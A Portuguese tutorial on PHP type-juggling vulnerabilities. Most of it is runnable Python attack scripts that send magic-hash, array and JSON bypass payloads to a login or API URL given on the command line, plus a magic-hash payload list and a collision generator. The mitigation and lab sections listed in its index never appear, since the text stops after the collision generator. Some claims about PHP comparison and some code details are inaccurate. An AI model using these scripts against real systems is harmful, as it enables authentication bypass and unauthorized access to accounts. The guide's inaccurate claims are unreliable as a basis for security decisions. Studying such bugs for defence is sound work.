# Type Juggling

## 🔀 **Type Juggling - Guia Completo**

### **📋 Índice**

1. [Fundamentos do Type Juggling](#-fundamentos-do-type-juggling)
2. [Mecanismos de Ataque](#-mecanismos-de-ataque)
3. [Técnicas de Exploração](#-técnicas-de-exploração)
4. [Contextos de Vulnerabilidade](#-contextos-de-vulnerabilidade)
5. [Magic Hashes e Colisões](#-magic-hashes-e-colisões)
6. [Bypass de Autenticação](#-bypass-de-autenticação)
7. [Exploração Avançada](#-exploração-avançada)
8. [Detecção e Ferramentas](#-detecção-e-ferramentas)
9. [Mitigação e Prevenção](#-mitigação-e-prevenção)
10. [Casos Reais e Labs](#-casos-reais-e-labs)

***

### **🔍 Fundamentos do Type Juggling**

#### **O que é Type Juggling**

Type Juggling (ou Type Coercion) é uma vulnerabilidade que ocorre quando linguagens de tipagem fraca (como PHP, JavaScript) comparam ou manipulam valores de tipos diferentes sem validação estrita, permitindo bypass de validações e lógica de autenticação.

#### **Características Principais**

```
✅ Exploração de comparações fracas (==, !=)
✅ Conversão automática de tipos
✅ Magic Hashes e colisões
✅ Bypass de autenticação
✅ Manipulação de JSON
✅ Principalmente em PHP, mas afeta outras linguagens
```

#### **Diferença entre Comparações**

```php
// COMPARAÇÃO FRACA (==) - Type Juggling VULNERÁVEL
"0e123" == "0e456"  // TRUE (ambos são 0 em notação científica)
"0" == false        // TRUE
"1" == true         // TRUE
0 == "test"         // TRUE
null == false       // TRUE

// COMPARAÇÃO ESTRITA (===) - SEGURA
"0e123" === "0e456" // FALSE (strings diferentes)
"0" === false       // FALSE (tipos diferentes)
"1" === true        // FALSE (tipos diferentes)
0 === "test"        // FALSE (tipos diferentes)
null === false      // FALSE (tipos diferentes)
```

#### **Fluxo da Vulnerabilidade**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant App as Aplicação
    participant PHP as PHP Engine
    participant DB as Database

    Note over A: FASE 1: Análise
    A->>App: Testa entradas com payloads especiais
    Note right of A: "0", "0e123", null, arrays
    
    Note over App,PHP: FASE 2: Comparação Fraca
    App->>PHP: Compara valor enviado (==)
    Note right of PHP: $input == $expected
    PHP->>PHP: Converte tipos automaticamente
    Note right of PHP: "0e123" → 0 (float)<br/>"0e456" → 0 (float)
    
    Note over PHP: FASE 3: Type Juggling
    PHP->>PHP: 0 == 0 → TRUE
    Note right of PHP: Comparação passa mesmo<br/>com valores diferentes!
    
    Note over App: FASE 4: Bypass
    PHP->>App: Retorna TRUE (autenticado)
    App->>A: Acesso concedido
    Note right of A: Bypass de autenticação<br/>bem-sucedido!
```

#### **Tabela de Conversões PHP**

| Valor Original | Conversão para Bool | Conversão para Int | Conversão para String |
| -------------- | ------------------- | ------------------ | --------------------- |
| `"0"`          | `false`             | `0`                | `"0"`                 |
| `"1"`          | `true`              | `1`                | `"1"`                 |
| `""`           | `false`             | `0`                | `""`                  |
| `"test"`       | `true`              | `0`                | `"test"`              |
| `null`         | `false`             | `0`                | `""`                  |
| `[]`           | `false`             | `0`                | `"Array"`             |
| `[1,2]`        | `true`              | `1`                | `"Array"`             |
| `0`            | `false`             | `0`                | `"0"`                 |
| `1`            | `true`              | `1`                | `"1"`                 |

***

### **⚔️ Mecanismos de Ataque**

#### **Tipo 1: Loose Comparison**

```php
// VULNERÁVEL: Comparação fraca
$password_hash = "0e123456789";
$user_input = "0e987654321";

if ($user_input == $password_hash) {
    echo "Authenticated!"; // TRUE - BYPASS!
}

// EXPLICAÇÃO:
// "0e123456789" é interpretado como 0 × 10^123456789 = 0
// "0e987654321" é interpretado como 0 × 10^987654321 = 0
// 0 == 0 → TRUE
```

#### **Tipo 2: Magic Hashes**

```php
// VULNERÁVEL: Hash MD5 começando com "0e"
$password_hash = md5($user_password); // Exemplo: "0e215962017"
$input_hash = md5($attacker_input);    // "0e291242476"

if ($input_hash == $password_hash) {
    echo "Authenticated!"; // TRUE - BYPASS!
}

// Magic Hashes MD5 conhecidos:
// md5('240610708') = 0e462097431906509019562988736854
// md5('QNKCDZO')   = 0e830400451993494058024219903391
// md5('s1665632922a') = 0e731198061491163073197128363787
```

#### **Tipo 3: Array Comparison**

```php
// VULNERÁVEL: Comparação de arrays
$secret = "super_secret_value";
$user_input = $_POST['password'];

// Se enviar password[]=test (array)
if ($user_input == $secret) {
    echo "Bypass!"; // Array == String → TRUE em alguns casos
}

// EXPLICAÇÃO:
// array() == "string" pode retornar TRUE
// array() == 0 → TRUE
// array() == false → TRUE
```

#### **Tipo 4: JSON Type Juggling**

```php
// VULNERÁVEL: Parsing de JSON
$json = '{"admin": 0}';
$data = json_decode($json);

if ($data->admin == true) {
    echo "Admin!"; // FALSE (0 != true)
}

// MAS COM PAYLOAD MALICIOSO:
$json = '{"admin": "0e123"}';
$data = json_decode($json);

if ($data->admin == "0e456") {
    echo "Admin!"; // TRUE - BYPASS!
}
```

#### **Tipo 5: NULL Byte Comparison**

```php
// VULNERÁVEL: Comparação com NULL bytes
$password = "secret\0ignored";
$input = "secret";

// strcmp pode retornar 0 (igual) com null bytes
if (strcmp($password, $input) == 0) {
    echo "Authenticated!"; // Potencialmente TRUE
}

// OU array bypass
$input = [];
if (strcmp($password, $input) == 0) {
    echo "Bypass!"; // strcmp(string, array) retorna NULL
                     // NULL == 0 → TRUE
}
```

***

### **🔧 Técnicas de Exploração**

#### **Técnica 1: Bypass de Autenticação com Magic Hashes**

**1.1 Identificação de Magic Hashes**

```php
// Cenário vulnerável
<?php
$stored_hash = $_SESSION['password_hash']; // Hash MD5 do banco
$user_input = $_POST['password'];
$input_hash = md5($user_input);

if ($input_hash == $stored_hash) {
    // Autenticado
}
?>
```

**1.2 Magic Hashes MD5 Conhecidos**

```python
#!/usr/bin/env python3
# magic_hash_finder.py

import hashlib

class MagicHashFinder:
    """Encontrar Magic Hashes para MD5, SHA1, SHA256"""
    
    def __init__(self):
        self.known_md5_magics = [
            ('240610708', '0e462097431906509019562988736854'),
            ('QNKCDZO', '0e830400451993494058024219903391'),
            ('s1665632922a', '0e731198061491163073197128363787'),
            ('s878926199a', '0e545993274517709034328855841020'),
            ('s155964671a', '0e342768416822451524974117254469'),
            ('aabg7XSs', '0e087386482136013740957780965295'),
            ('aabC9RqS', '0e041022518165728065344349536299'),
        ]
        
        self.known_sha1_magics = [
            ('aaroZmOk', '0e66507019969427134894567494305185566735'),
            ('aaK1STfY', '0e76658526655756207688271159624026011393'),
            ('aaO8zKZF', '0e89257456677279068558073954252716165668'),
        ]
        
        self.known_sha256_magics = [
            ('TyNOQHUS', '0e66298694359207596086558843543959518835691168370379069085300385'),
        ]
    
    def test_magic_hash(self, plaintext, hash_func='md5'):
        """Testar se um plaintext gera magic hash"""
        if hash_func == 'md5':
            hash_value = hashlib.md5(plaintext.encode()).hexdigest()
        elif hash_func == 'sha1':
            hash_value = hashlib.sha1(plaintext.encode()).hexdigest()
        elif hash_func == 'sha256':
            hash_value = hashlib.sha256(plaintext.encode()).hexdigest()
        else:
            return False
        
        # Verifica se começa com "0e" seguido apenas de dígitos
        if hash_value.startswith('0e') and hash_value[2:].isdigit():
            return True, hash_value
        
        return False, hash_value
    
    def find_new_magic_hashes(self, iterations=1000000, hash_func='md5'):
        """Buscar novos magic hashes"""
        print(f"🔍 Searching for {hash_func.upper()} magic hashes...")
        print(f"⏳ Testing {iterations} combinations...\n")
        
        found = []
        
        for i in range(iterations):
            # Testar diferentes padrões
            test_strings = [
                f"s{i}a",
                f"aa{i:08x}",
                f"test{i}",
                f"{i:010d}"
            ]
            
            for test_str in test_strings:
                is_magic, hash_value = self.test_magic_hash(test_str, hash_func)
                
                if is_magic:
                    print(f"✅ FOUND: {test_str} → {hash_value}")
                    found.append((test_str, hash_value))
            
            if i % 10000 == 0 and i > 0:
                print(f"⏳ Progress: {i}/{iterations} ({len(found)} found)")
        
        return found
    
    def display_known_magics(self):
        """Exibir magic hashes conhecidos"""
        print("="*70)
        print("📋 KNOWN MAGIC HASHES")
        print("="*70)
        
        print("\n🔵 MD5 Magic Hashes:")
        print("-" * 70)
        for plaintext, hash_value in self.known_md5_magics:
            print(f"  Plaintext: {plaintext:20s} → {hash_value}")
        
        print("\n🟢 SHA1 Magic Hashes:")
        print("-" * 70)
        for plaintext, hash_value in self.known_sha1_magics:
            print(f"  Plaintext: {plaintext:20s} → {hash_value}")
        
        print("\n🟡 SHA256 Magic Hashes:")
        print("-" * 70)
        for plaintext, hash_value in self.known_sha256_magics:
            print(f"  Plaintext: {plaintext:20s} → {hash_value}")
        
        print("\n" + "="*70)
    
    def generate_collision_payload(self, target_hash):
        """Gerar payload que colide com hash alvo"""
        print(f"🎯 Target hash: {target_hash}")
        
        # Verificar se target é magic hash
        if target_hash.startswith('0e') and target_hash[2:].isdigit():
            print("✅ Target is a magic hash!")
            print("💡 Any magic hash will match in loose comparison")
            print("\n🔑 Suggested payloads:")
            
            for plaintext, _ in self.known_md5_magics[:5]:
                print(f"  - {plaintext}")
            
            return True
        else:
            print("❌ Target is not a magic hash")
            print("💡 Need to find exact collision (much harder)")
            return False

# Uso
if __name__ == "__main__":
    finder = MagicHashFinder()
    
    # Exibir magic hashes conhecidos
    finder.display_known_magics()
    
    # Buscar novos (comentado por ser demorado)
    # finder.find_new_magic_hashes(iterations=100000, hash_func='md5')
    
    # Testar collision
    print("\n" + "="*70)
    print("🧪 COLLISION TEST")
    print("="*70)
    finder.generate_collision_payload('0e462097431906509019562988736854')
```

**1.3 Exploração Prática**

```python
#!/usr/bin/env python3
# type_juggling_exploit.py

import requests
import hashlib

class TypeJugglingExploit:
    def __init__(self, target_url):
        self.target = target_url
        self.session = requests.Session()
        
        # Magic hashes conhecidos
        self.magic_payloads = {
            'md5': [
                '240610708',
                'QNKCDZO',
                's1665632922a',
                's878926199a',
                's155964671a',
                'aabg7XSs',
                'aabC9RqS'
            ],
            'sha1': [
                'aaroZmOk',
                'aaK1STfY',
                'aaO8zKZF'
            ]
        }
    
    def test_loose_comparison(self, username='admin'):
        """Testar bypass com comparação fraca"""
        print(f"🔍 Testing loose comparison bypass for user: {username}")
        
        # Testar diferentes payloads
        test_payloads = [
            '0',
            '0e0',
            '0e123',
            '',
            'null',
            'false',
            'true'
        ]
        
        for payload in test_payloads:
            print(f"  Testing payload: {payload}")
            
            response = self.session.post(self.target, data={
                'username': username,
                'password': payload
            })
            
            if 'welcome' in response.text.lower() or 'dashboard' in response.text.lower():
                print(f"  ✅ SUCCESS with payload: {payload}")
                return True, payload
        
        return False, None
    
    def test_magic_hash(self, username='admin', hash_type='md5'):
        """Testar bypass com magic hashes"""
        print(f"\n🔍 Testing {hash_type.upper()} magic hash bypass")
        
        for payload in self.magic_payloads.get(hash_type, []):
            print(f"  Testing: {payload}")
            
            response = self.session.post(self.target, data={
                'username': username,
                'password': payload
            })
            
            if 'welcome' in response.text.lower() or 'dashboard' in response.text.lower():
                hash_value = hashlib.md5(payload.encode()).hexdigest() if hash_type == 'md5' else hashlib.sha1(payload.encode()).hexdigest()
                print(f"  ✅ SUCCESS!")
                print(f"     Payload: {payload}")
                print(f"     Hash: {hash_value}")
                return True, payload
        
        return False, None
    
    def test_array_bypass(self, username='admin'):
        """Testar bypass com arrays"""
        print(f"\n🔍 Testing array bypass")
        
        # PHP interpreta password[] como array
        test_cases = [
            {'username': username, 'password[]': ''},
            {'username': username, 'password[]': '0'},
            {'username': username, 'password[0]': 'test'},
        ]
        
        for data in test_cases:
            print(f"  Testing: {data}")
            
            response = self.session.post(self.target, data=data)
            
            if 'welcome' in response.text.lower() or 'dashboard' in response.text.lower():
                print(f"  ✅ SUCCESS with array bypass!")
                return True, data
        
        return False, None
    
    def test_json_bypass(self, username='admin'):
        """Testar bypass via JSON"""
        print(f"\n🔍 Testing JSON type juggling")
        
        json_payloads = [
            {'username': username, 'password': 0},
            {'username': username, 'password': '0'},
            {'username': username, 'password': '0e123'},
            {'username': username, 'password': False},
            {'username': username, 'password': None},
            {'username': username, 'password': []},
        ]
        
        for payload in json_payloads:
            print(f"  Testing: {payload}")
            
            response = self.session.post(
                self.target,
                json=payload,
                headers={'Content-Type': 'application/json'}
            )
            
            if 'welcome' in response.text.lower() or 'dashboard' in response.text.lower():
                print(f"  ✅ SUCCESS with JSON bypass!")
                return True, payload
        
        return False, None
    
    def exploit(self, username='admin'):
        """Executar todas as técnicas de exploração"""
        print("="*70)
        print(f"🚀 Type Juggling Exploitation Framework")
        print(f"🎯 Target: {self.target}")
        print(f"👤 Username: {username}")
        print("="*70)
        
        techniques = [
            ('Loose Comparison', self.test_loose_comparison),
            ('MD5 Magic Hash', lambda u: self.test_magic_hash(u, 'md5')),
            ('SHA1 Magic Hash', lambda u: self.test_magic_hash(u, 'sha1')),
            ('Array Bypass', self.test_array_bypass),
            ('JSON Bypass', self.test_json_bypass)
        ]
        
        for technique_name, technique_func in techniques:
            print(f"\n{'='*70}")
            print(f"🔧 Technique: {technique_name}")
            print(f"{'='*70}")
            
            try:
                success, payload = technique_func(username)
                
                if success:
                    print(f"\n{'='*70}")
                    print(f"✅ EXPLOITATION SUCCESSFUL!")
                    print(f"   Technique: {technique_name}")
                    print(f"   Payload: {payload}")
                    print(f"{'='*70}")
                    return True, technique_name, payload
                else:
                    print(f"  ❌ {technique_name} failed")
            
            except Exception as e:
                print(f"  ❌ Error: {e}")
        
        print(f"\n{'='*70}")
        print("❌ All exploitation techniques failed")
        print("="*70)
        return False, None, None

# Uso
if __name__ == "__main__":
    import sys
    
    if len(sys.argv) < 2:
        print("Usage: python3 type_juggling_exploit.py <target_url> [username]")
        print("Example: python3 type_juggling_exploit.py http://target.com/login.php admin")
        sys.exit(1)
    
    target_url = sys.argv[1]
    username = sys.argv[2] if len(sys.argv) > 2 else 'admin'
    
    exploit = TypeJugglingExploit(target_url)
    exploit.exploit(username)
```

#### **Técnica 2: strcmp() Array Bypass**

**2.1 Vulnerabilidade strcmp()**

```php
// CÓDIGO VULNERÁVEL
<?php
$password = "super_secret_password";
$user_input = $_POST['password'];

// strcmp retorna 0 se strings são iguais
// MAS retorna NULL se um argumento é array
if (strcmp($user_input, $password) == 0) {
    echo "Authenticated!";
}
?>

// EXPLOIT:
// POST: password[]=anything
// strcmp(array, string) retorna NULL
// NULL == 0 → TRUE (loose comparison)
// Bypass bem-sucedido!
```

**2.2 Script de Exploração**

```python
#!/usr/bin/env python3
# strcmp_bypass.py

import requests

def exploit_strcmp(target_url, username='admin'):
    """Explorar vulnerabilidade strcmp com array"""
    
    print(f"🎯 Target: {target_url}")
    print(f"👤 Username: {username}")
    print(f"🔧 Technique: strcmp() array bypass\n")
    
    # Payload: enviar password como array
    data = {
        'username': username,
        'password[]': ''  # Array vazio
    }
    
    print(f"📤 Sending payload: {data}")
    
    response = requests.post(target_url, data=data)
    
    print(f"\n📥 Response status: {response.status_code}")
    
    # Verificar indicadores de sucesso
    success_indicators = [
        'welcome',
        'dashboard',
        'logged in',
        'success',
        'authenticated'
    ]
    
    for indicator in success_indicators:
        if indicator in response.text.lower():
            print(f"✅ SUCCESS! Found indicator: '{indicator}'")
            print(f"\n🔑 Credentials:")
            print(f"   Username: {username}")
            print(f"   Password: [] (array)")
            return True
    
    print("❌ Bypass failed")
    return False

# Teste
if __name__ == "__main__":
    exploit_strcmp('http://target.com/login.php', 'admin')
```

#### **Técnica 3: JSON Type Confusion**

**3.1 Vulnerabilidade em APIs JSON**

```php
// API VULNERÁVEL
<?php
header('Content-Type: application/json');
$json_input = file_get_contents('php://input');
$data = json_decode($json_input, true);

$expected_token = "secret_token_12345";

if ($data['token'] == $expected_token) {
    echo json_encode(['status' => 'authenticated']);
}
?>

// EXPLOIT PAYLOADS:
// {"token": true}    // true == "string" pode ser TRUE
// {"token": 1}       // 1 == "1..." pode ser TRUE  
// {"token": "0e123"} // Se expected_token começa com "0e"
```

**3.2 Exploração Automatizada de APIs**

```python
#!/usr/bin/env python3
# json_type_juggling.py

import requests
import json

class JSONTypeJugglingExploit:
    def __init__(self, api_endpoint):
        self.api = api_endpoint
        self.session = requests.Session()
    
    def test_boolean_bypass(self):
        """Testar bypass com booleanos"""
        payloads = [
            {'token': True},
            {'token': False},
            {'admin': True},
            {'is_admin': True},
            {'authenticated': True}
        ]
        
        print("🔍 Testing boolean type juggling...")
        
        for payload in payloads:
            response = self.session.post(
                self.api,
                json=payload,
                headers={'Content-Type': 'application/json'}
            )
            
            print(f"  Payload: {payload}")
            
            if self.check_success(response):
                print(f"  ✅ SUCCESS!")
                return True, payload
            else:
                print(f"  ❌ Failed")
        
        return False, None
    
    def test_numeric_bypass(self):
        """Testar bypass com números"""
        payloads = [
            {'token': 0},
            {'token': 1},
            {'token': -1},
            {'admin': 1},
            {'role': 1},
            {'level': 999}
        ]
        
        print("\n🔍 Testing numeric type juggling...")
        
        for payload in payloads:
            response = self.session.post(
                self.api,
                json=payload,
                headers={'Content-Type': 'application/json'}
            )
            
            print(f"  Payload: {payload}")
            
            if self.check_success(response):
                print(f"  ✅ SUCCESS!")
                return True, payload
            else:
                print(f"  ❌ Failed")
        
        return False, None
    
    def test_magic_hash_bypass(self):
        """Testar bypass com magic hashes"""
        magic_hashes = [
            '0e215962017',
            '0e462097431906509019562988736854',
            '0e830400451993494058024219903391'
        ]
        
        print("\n🔍 Testing magic hash type juggling...")
        
        for magic in magic_hashes:
            payloads = [
                {'token': magic},
                {'password': magic},
                {'hash': magic}
            ]
            
            for payload in payloads:
                response = self.session.post(
                    self.api,
                    json=payload,
                    headers={'Content-Type': 'application/json'}
                )
                
                print(f"  Payload: {payload}")
                
                if self.check_success(response):
                    print(f"  ✅ SUCCESS!")
                    return True, payload
                else:
                    print(f"  ❌ Failed")
        
        return False, None
    
    def test_null_bypass(self):
        """Testar bypass com null"""
        payloads = [
            {'token': None},
            {'password': None},
            {'admin': None}
        ]
        
        print("\n🔍 Testing null type juggling...")
        
        for payload in payloads:
            response = self.session.post(
                self.api,
                json=payload,
                headers={'Content-Type': 'application/json'}
            )
            
            print(f"  Payload: {payload}")
            
            if self.check_success(response):
                print(f"  ✅ SUCCESS!")
                return True, payload
            else:
                print(f"  ❌ Failed")
        
        return False, None
    
    def test_array_bypass(self):
        """Testar bypass com arrays"""
        payloads = [
            {'token': []},
            {'token': ['admin']},
            {'password': []},
            {'role': ['admin', 'user']}
        ]
        
        print("\n🔍 Testing array type juggling...")
        
        for payload in payloads:
            response = self.session.post(
                self.api,
                json=payload,
                headers={'Content-Type': 'application/json'}
            )
            
            print(f"  Payload: {payload}")
            
            if self.check_success(response):
                print(f"  ✅ SUCCESS!")
                return True, payload
            else:
                print(f"  ❌ Failed")
        
        return False, None
    
    def check_success(self, response):
        """Verificar se bypass foi bem-sucedido"""
        success_indicators = [
            'authenticated',
            'success',
            'token',
            'welcome',
            'admin',
            '"status": "success"',
            '"auth": true'
        ]
        
        response_text = response.text.lower()
        
        for indicator in success_indicators:
            if indicator in response_text:
                return True
        
        # Verificar JSON response
        try:
            data = response.json()
            if data.get('success') or data.get('authenticated') or data.get('admin'):
                return True
        except:
            pass
        
        return False
    
    def exploit(self):
        """Executar todas as técnicas"""
        print("="*70)
        print("🚀 JSON Type Juggling Exploitation")
        print(f"🎯 API Endpoint: {self.api}")
        print("="*70)
        
        techniques = [
            ('Boolean Bypass', self.test_boolean_bypass),
            ('Numeric Bypass', self.test_numeric_bypass),
            ('Magic Hash Bypass', self.test_magic_hash_bypass),
            ('Null Bypass', self.test_null_bypass),
            ('Array Bypass', self.test_array_bypass)
        ]
        
        for name, func in techniques:
            success, payload = func()
            
            if success:
                print(f"\n{'='*70}")
                print(f"✅ EXPLOITATION SUCCESSFUL!")
                print(f"   Technique: {name}")
                print(f"   Payload: {json.dumps(payload, indent=2)}")
                print(f"{'='*70}")
                return True
        
        print("\n❌ All techniques failed")
        return False

# Uso
if __name__ == "__main__":
    import sys
    
    if len(sys.argv) < 2:
        print("Usage: python3 json_type_juggling.py <api_endpoint>")
        sys.exit(1)
    
    exploit = JSONTypeJugglingExploit(sys.argv[1])
    exploit.exploit()
```

***

### **🎯 Contextos de Vulnerabilidade**

#### **Contexto 1: Login/Autenticação**

```php
// VULNERÁVEL: Login com comparação fraca
<?php
session_start();

$username = $_POST['username'];
$password = $_POST['password'];

// Buscar hash da senha no banco
$stmt = $pdo->prepare("SELECT password_hash FROM users WHERE username = ?");
$stmt->execute([$username]);
$stored_hash = $stmt->fetchColumn();

// VULNERÁVEL: Comparação fraca
if (md5($password) == $stored_hash) {
    $_SESSION['user'] = $username;
    header('Location: dashboard.php');
}
?>

// EXPLOIT:
// Se $stored_hash = "0e462097431906509019562988736854"
// Enviar password = "240610708"
// md5("240610708") = "0e462097431906509019562988736854"
// Mas qualquer magic hash funcionará!
// Exemplo: password = "QNKCDZO"
// md5("QNKCDZO") = "0e830400451993494058024219903391"
// "0e830..." == "0e462..." → TRUE (ambos são 0 em notação científica)
```

#### **Contexto 2: Verificação de Token**

```php
// VULNERÁVEL: Validação de token de API
<?php
$provided_token = $_GET['token'];
$valid_token = "abc123xyz789";

if ($provided_token == $valid_token) {
    // Acesso à API concedido
    return ['status' => 'success', 'data' => $sensitive_data];
}
?>

// EXPLOITS POSSÍVEIS:
// 1. Se valid_token começar com número
// token=0 pode dar bypass se valid_token = "0something"

// 2. Boolean bypass
// token=true pode funcionar em alguns casos

// 3. Array bypass
// token[]=anything pode causar erro e bypass
```

#### **Contexto 3: Controle de Acesso (RBAC)**

```php
// VULNERÁVEL: Verificação de role
<?php
$user_role = $_SESSION['role']; // Vem do banco: "user"
$required_role = "admin";

// VULNERÁVEL
if ($user_role == $required_role) {
    // Acesso admin concedido
}

// EXPLOIT:
// Se conseguir manipular $_SESSION['role'] para:
// - 0 (se "admin" for convertido para 0)
// - true (se comparação permite)
// - Array vazio (causa NULL em strcmp)
?>
```

#### **Contexto 4: Reset de Senha**

```php
// VULNERÁVEL: Validação de token de reset
<?php
$token_from_email = $_GET['token'];
$stored_token = "random_secure_token_12345";

// Buscar token do banco
$stmt = $pdo->prepare("SELECT reset_token FROM password_resets WHERE user_id = ?");
$stmt->execute([$user_id]);
$db_token = $stmt->fetchColumn();

// VULNERÁVEL
if ($token_from_email == $db_token) {
    // Permitir reset de senha
}
?>

// EXPLOITS:
// 1. Se token for numérico começando com 0
// token=0 pode funcionar

// 2. Magic hash se token for hash MD5/SHA1
// token=QNKCDZO (magic MD5)

// 3. Array bypass
// token[]=anything
```

#### **Contexto 5: Comparação de Preços**

```php
// VULNERÁVEL: Validação de preço
<?php
$product_price = 99.99; // Float do banco
$user_provided_price = $_POST['price'];

// Aplicar desconto se preço for menor
if ($user_provided_price < $product_price) {
    $final_price = $user_provided_price;
} else {
    $final_price = $product_price;
}

// VULNERÁVEL
if ($final_price == 0) {
    // Grátis!
}
?>

// EXPLOIT:
// price=0 → final_price = 0
// price="0e123" → pode ser interpretado como 0
// price=-1 → passa no check < 99.99, mas pode causar problemas
```

***

### **🔮 Magic Hashes e Colisões**

#### **Magic Hashes Completos**

```python
#!/usr/bin/env python3
# complete_magic_hashes.py

class MagicHashDatabase:
    """Banco de dados completo de Magic Hashes"""
    
    def __init__(self):
        self.magic_hashes = {
            'md5': {
                'plaintext': [
                    '240610708',
                    'QNKCDZO',
                    's1665632922a',
                    's878926199a',
                    's155964671a',
                    's214587387a',
                    's214587387a',
                    'aabg7XSs',
                    'aabC9RqS',
                    '0e1290633704',
                    '0e291659922662',
                    '0e01740275896321958',
                ],
                'hashes': [
                    '0e462097431906509019562988736854',
                    '0e830400451993494058024219903391',
                    '0e731198061491163073197128363787',
                    '0e545993274517709034328855841020',
                    '0e342768416822451524974117254469',
                    '0e652941192619875612038504160569',
                    '0e652941192619875612038504160569',
                    '0e087386482136013740957780965295',
                    '0e041022518165728065344349536299',
                    '0e940624217856561557816327384675',
                    '0e566039108506311302208647268486',
                    '0e874956163641961271069404332409',
                ]
            },
            'sha1': {
                'plaintext': [
                    'aaroZmOk',
                    'aaK1STfY',
                    'aaO8zKZF',
                    '10932435112',
                ],
                'hashes': [
                    '0e66507019969427134894567494305185566735',
                    '0e76658526655756207688271159624026011393',
                    '0e89257456677279068558073954252716165668',
                    '0e07766915004133176347055865026311692244',
                ]
            },
            'sha256': {
                'plaintext': [
                    'TyNOQHUS',
                ],
                'hashes': [
                    '0e66298694359207596086558843543959518835691168370379069085300385',
                ]
            }
        }
    
    def get_all_md5_magics(self):
        """Retornar todos MD5 magic hashes"""
        return list(zip(
            self.magic_hashes['md5']['plaintext'],
            self.magic_hashes['md5']['hashes']
        ))
    
    def get_all_sha1_magics(self):
        """Retornar todos SHA1 magic hashes"""
        return list(zip(
            self.magic_hashes['sha1']['plaintext'],
            self.magic_hashes['sha1']['hashes']
        ))
    
    def get_random_magic(self, hash_type='md5'):
        """Obter um magic hash aleatório"""
        import random
        magics = self.get_all_md5_magics() if hash_type == 'md5' else self.get_all_sha1_magics()
        return random.choice(magics)
    
    def generate_payload_list(self, hash_type='md5'):
        """Gerar lista de payloads para bruteforce"""
        if hash_type == 'md5':
            return self.magic_hashes['md5']['plaintext']
        elif hash_type == 'sha1':
            return self.magic_hashes['sha1']['plaintext']
        elif hash_type == 'sha256':
            return self.magic_hashes['sha256']['plaintext']
        return []
    
    def display_all(self):
        """Exibir todos os magic hashes"""
        print("="*80)
        print("🔮 COMPLETE MAGIC HASH DATABASE")
        print("="*80)
        
        for hash_type in ['md5', 'sha1', 'sha256']:
            print(f"\n{'='*80}")
            print(f"🔵 {hash_type.upper()} Magic Hashes")
            print(f"{'='*80}")
            
            plaintexts = self.magic_hashes[hash_type]['plaintext']
            hashes = self.magic_hashes[hash_type]['hashes']
            
            for plaintext, hash_value in zip(plaintexts, hashes):
                print(f"\n  Plaintext: {plaintext}")
                print(f"  Hash:      {hash_value}")
                print(f"  ---")
        
        print("\n" + "="*80)

# Uso
if __name__ == "__main__":
    db = MagicHashDatabase()
    db.display_all()
    
    print("\n🎲 Random MD5 Magic Hash:")
    plaintext, hash_value = db.get_random_magic('md5')
    print(f"  Plaintext: {plaintext}")
    print(f"  Hash:      {hash_value}")
```

#### **Gerador de Colisões**

```python
#!/usr/bin/env python3
# collision_generator.py

import hashlib
import itertools
import string
from multiprocessing import Pool, cpu_count

class CollisionGenerator:
    """Gera colisões para Type Juggling"""
    
    def __init__(self, target_hash=None, hash_type='md5'):
        self.target_hash = target_hash
        self.hash_type = hash_type
        self.charset = string.ascii_letters + string.digits
    
    def hash_function(self, text):
        """Aplicar função hash"""
        if self.hash_type == 'md5':
            return hashlib.md5(text.encode()).hexdigest()
        elif self.hash_type == 'sha1':
            return hashlib.sha1(text.encode()).hexdigest()
        elif self.hash_type == 'sha256':
            return hashlib.sha256(text.encode()).hexdigest()
    
    def is_magic_hash(self, hash_value):
        """Verificar se é magic hash"""
        return hash_value.startswith('0e') and hash_value[2:].isdigit()
    
    def check_collision(self, candidate):
        """Verificar se candidato gera colisão"""
        hash_value = self.hash_function(candidate)
        
        # Se procurando magic hash genérico
        if not self.target_hash:
            if self.is_magic_hash(hash_value):
                return True, candidate, hash_value
        # Se procurando hash específico
        else:
            if hash_value == self.target_hash:
                return True, candidate, hash_value
            # Ou se ambos são magic hashes (loose comparison match)
            elif self.is_magic_hash(hash_value) and self.is_magic_hash(self.target_hash):
                return True, candidate, hash_value
        
        return False, None, None
    
    def generate_candidates(self, length=8, pattern=None):
        """Gerar candidatos para teste"""
        if pattern:
            # Padrões específicos (ex: "s123456a")
            if pattern == 'numeric_prefix':
                for i in range(10**8):
                    yield f"s{i}a"
            elif pattern == 'hex':
                for i in range(10**8):
                    yield f"aa{i:08x}"
        else:
            # Todas as combinações
            for combo in itertools.product(self.charset, repeat=length):
                yield ''.join(combo)
    
    def parallel_search(self, length=8, max_checks=1000000):
        """Busca paralela por colisões"""
        print(f"🔍 Searching for {self.hash_type.upper()} collisions...")
        print(f"⚙️  Using {cpu_count()} CPU cores")
        print(f"🎯 Target: {self.target_hash if self.target_hash else 'Any magic hash'}")
        print(f"📊 Max checks: {max_checks:,}\n")
        
        def worker(candidate):
            return self.check_collision(candidate)
        
        candidates = itertools.islice(
            self.generate_candidates(length),
            max_checks
        )
        
        with Pool(cpu_count()) as pool:
            for idx, result in enumerate(pool.imap_unordered(worker, candidates, chunksize=1000)):
                if result[0]:  # Collision found
                    print(f"\n✅ COLLISION FOUND!")
                    print(f"   Plaintext: {result[1]}")
                    print(f"   Hash:      {result[2]}")
                    return result[1], result[2]
                
                if idx % 10000 == 0 and idx > 0:
                    print(f"⏳ Progress: {idx:,} candidates tested...")
        
        print("\n❌ No collision found")
        return None, None
    
    def smart_search(self, max_iterations=100000):
        """Busca inteligente usando padrões conhecidos"""
        print(f"🧠 Smart search for {self.hash_type.upper()} magic hashes...\n")
        
        patterns = [
            ('numeric_prefix', 's{num}a'),
            ('hex', 'aa{hex}'),
        ]
        
        for pattern_name, pattern_desc in patterns:
            print(f"🔍 Testing pattern: {pattern_desc}")
            
            for candidate in itertools.islice(
                self.generate_candidates(pattern=pattern_name),
                max_iterations
            ):
                found, plaintext, hash_value = self.check_collision(candidate)
                
                if found:
                    print(f"✅ FOUND!")
                    print(f"   Pattern: {pattern_desc}")
                    print(f"   Plaintext: {plaintext}")
                    print(f"   Hash: {hash_value}\n")
                    return plaintext, hash_value
        
        return None, None

# Uso
if __name__ == "__main__":
    import sys
    
    # Buscar novos magic hashes MD5
    print("🔮 Magic Hash Collision Generator\n")
    
    generator = CollisionGenerator(hash_type='md5')
    
    # Busca inteligente (mais rápida)
    plaintext, hash_value = generator.smart_search(max_iterations=50000)
    
    if plaintext:
        print(f"\n{'='*70}")
        print(f"🎉 SUCCESS! New magic hash found:")
        print(f"   Plaintext: {plaintext}")
        print(f"   MD5:       {hash_value}")
